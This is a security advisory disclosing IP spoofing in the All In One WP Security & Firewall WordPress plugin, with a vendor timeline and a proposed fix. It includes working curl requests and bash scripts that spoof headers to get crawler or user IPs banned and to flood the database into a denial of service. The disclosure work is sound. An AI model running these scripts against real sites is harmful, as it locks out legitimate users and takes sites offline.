Affected plugin | All In One WP Security & Firewall |
Active installs | 1+ million |
Vulnerable version | <= 5.0.7 |
Audited version | 5.0.7 |
Fully patched version | – |
Recommended remediation | Removal of the plugin |
Description
The plugin is wide open to IP spoofing, which an attacker can exploit to ban search engine crawlers, the site’s reverse proxy, or legitimate users.
Alternatively, an attacker can bring down the entire MySQL server by flooding the database with the entire IPv4 range.
Proof of concept
The plugin uses the AIOWPSecurity_Utility_IP::get_user_ip_address() method in all places that need access to the current request’s IP address.
public static function get_user_ip_address() {
$user_ip = '';
if (isset($_SERVER['HTTP_X_REAL_IP'])) {
$user_ip = sanitize_text_field(wp_unslash($_SERVER['HTTP_X_REAL_IP']));
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
// Proxy servers can send through this header like this: X-Forwarded-For: client1, proxy1, proxy2
// Make sure we always only send through the first IP in the list which should always be the client IP.
$user_ip = (string) rest_is_ip_address(trim(current(preg_split('/,/', sanitize_text_field(wp_unslash($_SERVER['HTTP_X_FORWARDED_FOR']))))));
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$user_ip = sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR']));
}
if (in_array($user_ip, array('', '127.0.0.1', '::1'))) {
$user_ip = self::get_external_ip_address();
}
return $user_ip;
}
This method is vulnerable to IP spoofing since it blindly trusts HTTP headers to contain truthful information.
This fact can be quickly verified using the following must-use plugin:
<?php
declare(strict_types=1);
unset($_SERVER['HTTP_X_REAL_IP']); // Unset X_REAL_IP in case you are using a local nginx server like laravel valet.
// wp-content/mu-plugins/aiowp-ip.php
if(!isset($_SERVER['HTTP_TEST_AIO_IP'])) {
return;
}
$test_real_ip = '58.70.238.164'; // Set a fixed "real" user IP so that we all get the same outputs.
$_SERVER['REMOTE_ADDR'] = $test_real_ip;
add_action('plugins_loaded', function (){
echo AIOWPSecurity_Utility_IP::get_user_ip_address();
echo "\n";
die();
});
curl -X GET https://site.test -H "TEST-AIO-IP: 1" -H "X-Forwarded-For: 66.249.66.67"
66.249.66.67
==> Spoofed one of Google-Bot’s IPs.
Attack vectors
We will demonstrate a few select attack vectors. However, there are many more since the plugin uses the spoofed IP in many security-related contexts.
1. Permanently getting a random IP banned
This attacker requires the following preconditions:
- User registration must be enabled on the site.
- Manual user registration review must be enabled in the plugin.
Now, submitting the following request will create a new user registration review.
curl -X POST "https://site.test/wp-login.php?action=register" -H "X-Forwarded-For: 66.249.66.67" -d "user_login=SPAMSPAM" -d "[email protected]"
Note that the IP address is the spoofed one that belongs to Google-Bot.
If the site administrator now blocks this obvious spam registration, the spoofed IP will be permanently banned from accessing the site.
The attacker was able to trick the site owner into banning one of Google’s crawlers from accessing his site, which will cause catastrophic damage to search engine rankings.
curl -I -X GET https://site.test -H "X-Forwarded-For: 66.249.66.67"
HTTP/2 302
server: nginx/1.23.1
date: Sat, 10 Sep 2022 13:34:29 GMT
content-type: text/html; charset=UTF-8
location: http://127.0.0.1
x-powered-by: PHP/7.4.30
The 302 redirect to 127.0.0.1 confirms that the IP is indeed blocked. (Although we don’t know why the vendor chooses to redirect banned IPs to localhost)
2. Preventing certain IPs from logging in
#!/usr/bin/env bash
# block-ip-from-login.sh
IP="$1";
TOTAL="${2:-10}"
for ((i=1; i <= TOTAL; i++))
do
curl -s -X POST https://site.test/wp-login.php \
-H "X-Real-IP: $IP" \
-d "log=admin" \
-d "pwd=foo" > /dev/null
done
bash block-ip-from-login.sh 147.93.33.75
The spoofed IP is now banned from logging into the site.
Applications:
- An attacker bans a targeted list of IPs. For example, banning your customer’s IP addresses at a competing site.
- Banning a site’s reverse proxy (small IP ranges) from requesting the wp-login endpoint to cause a DOS for all users. This requires the attacker to find out the reverse proxy’s IP.
3. DOS on the MySQL server
The plugin will store failed login attempts for 90 days. Each unique IP will trigger the insertion of a new record.
The below bash script can be used to ban random IPs from logging in and slowly fill the database table with the entire range of IPv4 addresses.
#!/usr/bin/env bash
# dos-server.sh
TOTAL="${1:-100}"
SLEEP="$2:0.1"
for ((i=1; i <= TOTAL; i++))
do
IP=$(printf "%d.%d.%d.%d\n" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))")
for (( i = 0; i < 4; i++ )); do
curl -s -X POST https://site.test/wp-login.php \
-H "X-Real-IP: $IP" \
-d "log=admin" \
-d "pwd=foo" > /dev/null
sleep "$SLEEP"
done
done
An attacker can bring down the database quickly if the target site does not have any network-level rate-limiting. However, even in the case of aggressive rate-limiting, an attacker can pull off the attack slowly and steadily since the plugin only prunes logs every 90 days.
bash dos-server.sh 100
Running the above command will insert almost 900 different records.
Furthermore, the site owner is now tricked into thinking that a distributed brute-force attack is taking place since each failed login comes from a different IP.
If the number of inserted records exceeds a certain threshold (depending on the server), the entire site will become unusable since the plugin runs the following code for every request:
AIOWPSecurity_Blocking::is_ip_blocked($visitor_ip);
This will ultimately run the following SQL query:
$blocked_record = $wpdb->get_row($wpdb->prepare('SELECT * FROM '.AIOWPSEC_TBL_PERM_BLOCK.' WHERE blocked_ip=%s', $ip_address));
The “blocked_ip” column does not have an index, meaning the query will result in a full table scan.
SHOW INDEXES FROM wp_aiowps_login_lockdown
wp_aiowps_login_lockdown 0 PRIMARY 1 id A 1047 NULL NULL BTREE YES NULL
Proposed patch
The needed patch is described in great length in this article of us.
Summary: Only ever use REMOTE_ADDR to access to current IP.
Timeline
Vendor contacted | September 10, 2022 |
First Response | September 12, 2022 |
Fully patched at | – |
Publicly disclosed | April 24, 2023 |
Leave a Reply